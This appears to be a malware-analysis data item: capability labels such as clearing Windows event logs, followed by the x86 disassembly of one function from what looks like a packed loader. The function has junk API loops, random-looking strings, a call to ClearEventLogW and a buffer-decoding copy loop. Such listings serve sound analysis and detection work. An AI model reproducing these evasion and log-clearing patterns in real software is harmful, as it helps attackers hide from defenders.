Function at 0x4156a0
Capabilities:
Access the windows event log
Clear windows event logs
Get file attributes
Get hostname
Manipulate console buffer
Move file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1174
call fcn.004070e0
mov eax, dword [0x418004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_ClearEventLogW]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
push edi
xor edi, edi
jmp 0x4156d0
cmp dword [0x2b17cdc], 0x7d
jne 0x4156df
push 0
push 0
call ebx
cmp edi, 0x4e5
jne 0x4156f6
mov eax, dword [0x419268]
add eax, 0x9e49
mov dword [0x2b17cdc], eax
cmp dword [0x2b17cdc], 0xbcf
jne 0x41573b
xor edx, edx
xor ecx, ecx
lea eax, [ebp - 0x1158]
push eax
mov word [ebp - 0x1150], cx
mov word [ebp - 0x114e], dx
mov ecx, dword [ebp - 0x1150]
push ecx
push edx
push edx
push edx
call esi
mov dword [0x419d50], 0xec58ac98
mov dword [0x419d54], 0xffffffff
inc edi
cmp edi, 0x114aff4
jl 0x4156d0
mov edi, dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointA]
xor esi, esi
lea esp, [esp]
cmp esi, 0x56051f
jne 0x415764
mov edx, dword [0x418c58]
mov dword [0x2b17e0c], edx
cmp dword [0x2b17cdc], 0x3c
jne 0x415771
push 0
call edi
inc esi
cmp esi, 0x4cab834c
jl 0x415750
cmp dword [0x2b17cdc], 0x7c
jne 0x415897
push 0
push 0
lea eax, [ebp - 0x1174]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
xor esi, esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push esi
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
lea ecx, [ebp - 0x1160]
push ecx
lea edx, [ebp - 0x404]
push edx
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SearchPathA]
push 0x2e
lea eax, [ebp - 0x1034]
push esi
push eax
mov dword [ebp - 0x1038], esi
call fcn.00404520
add esp, 0xc
push esi
lea ecx, [ebp - 0x1038]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetDefaultCommConfigA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileW]
lea edx, [ebp - 0x114c]
push edx
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
lea eax, [ebp - 0x1158]
push eax
mov dword [ebp - 0x1158], esi
call dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
xor edx, edx
xor ecx, ecx
mov word [ebp - 0x115a], dx
xor eax, eax
mov word [ebp - 0x114e], cx
lea edx, [ebp - 0x1168]
push edx
mov word [ebp - 0x1150], ax
mov eax, dword [ebp - 0x1150]
push eax
mov word [ebp - 0x115c], cx
mov ecx, dword [ebp - 0x115c]
push ecx
lea edx, [ebp - 0x1154]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputW]
push esi
lea eax, [ebp - 0xc04]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAdjustment]
cmp dword [0x2b17cdc], 0x2d
jne 0x415888
push esi
call dword [sym.imp.KERNEL32.dll_PulseEvent]
push esi
call fcn.004011f6
push esi
call fcn.0040120c
add esp, 8
mov edi, dword [sym.imp.KERNEL32.dll_SetCommState]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
push 0
push 0
call edi
call ebx
cmp esi, 0x24bfb
jg 0x4158be
inc esi
cmp esi, 0xeba57
jl 0x4158a5
cmp dword [0x2b17cdc], 0x2a
jne 0x415988
xor esi, esi
push esi
mov dword [0x2b17cd0], esi
mov dword [0x2b17cd4], esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
lea ecx, [ebp - 0x1150]
push ecx
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetStringTypeExW]
lea edx, [ebp - 0x1154]
push edx
lea eax, [ebp - 0x1004]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push esi
xor eax, eax
lea edx, [ebp - 0x804]
push edx
push str.binotumugir
mov dword [ebp - 0x116e], eax
mov dword [ebp - 0x116a], eax
mov dword [ebp - 0x1166], eax
mov word [ebp - 0x1162], ax
lea eax, [ebp - 0x1170]
push eax
push esi
xor ecx, ecx
push esi
mov word [ebp - 0x1170], cx
call dword [sym.imp.KERNEL32.dll_GetTimeFormatW]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthA]
lea ecx, [ebp - 0x1160]
push ecx
push str.uyewidatoyejet
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
push esi
push esi
call fcn.0040109d
push esi
call fcn.0040100f
push esi
call fcn.0040112c
push esi
push esi
call fcn.0040109d
push esi
push esi
call fcn.0040109d
add esp, 0x20
call fcn.00415310
mov ecx, dword [0x2b17cdc]
xor eax, eax
test ecx, ecx
jbe 0x4159cd
mov edi, dword [0x2b17e0c]
mov esi, dword [0x2b17b24]
mov edx, 0x17bc
lea ebx, [ebx]
mov bl, byte [edi + eax + 0x9e49]
mov byte [eax + esi], bl
cmp ecx, 0x8d
jne 0x4159c8
mov dword [0x2b17b28], edx
inc eax
cmp eax, ecx
jb 0x4159b0
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call fcn.00415340
call fcn.00415610
mov edi, dword [sym.imp.KERNEL32.dll_GlobalReAlloc]
mov ebx, dword [sym.imp.KERNEL32.dll_SetStdHandle]
xor esi, esi
cmp dword [0x2b17cdc], 0x41
jne 0x415a07
push 0
push 0
push 0
call edi
push 0
push 0
call ebx
cmp esi, 0xd606b
jne 0x415a14
call fcn.00415330
cmp dword [0x2b17cdc], 0xc
jne 0x415a2a
lea edx, [ebp - 0x1154]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
inc esi
cmp esi, 0x24e87d
jl 0x4159f0
mov edi, 0x1d5ed5
mov esi, 0x8e4e4fe0
lea ecx, [ecx]
cmp dword [0x2b17cdc], 0x7c4
mov dword [0x2b17b2c], esi
jne 0x415a5d
push str.mahurocacayokajefopazod
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
sub edi, 1
jne 0x415a40
mov ecx, dword [ebp - 0x1028]
pop edi
pop esi
xor eax, eax
pop ebx
lea ecx, [ecx]
cmp eax, 0x408e
jle 0x415a7f
cmp ecx, 0xf5bed7
jne 0x415a87
inc eax
cmp eax, 0x687ed2
jl 0x415a70
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401000
mov esp, ebp
pop ebp
ret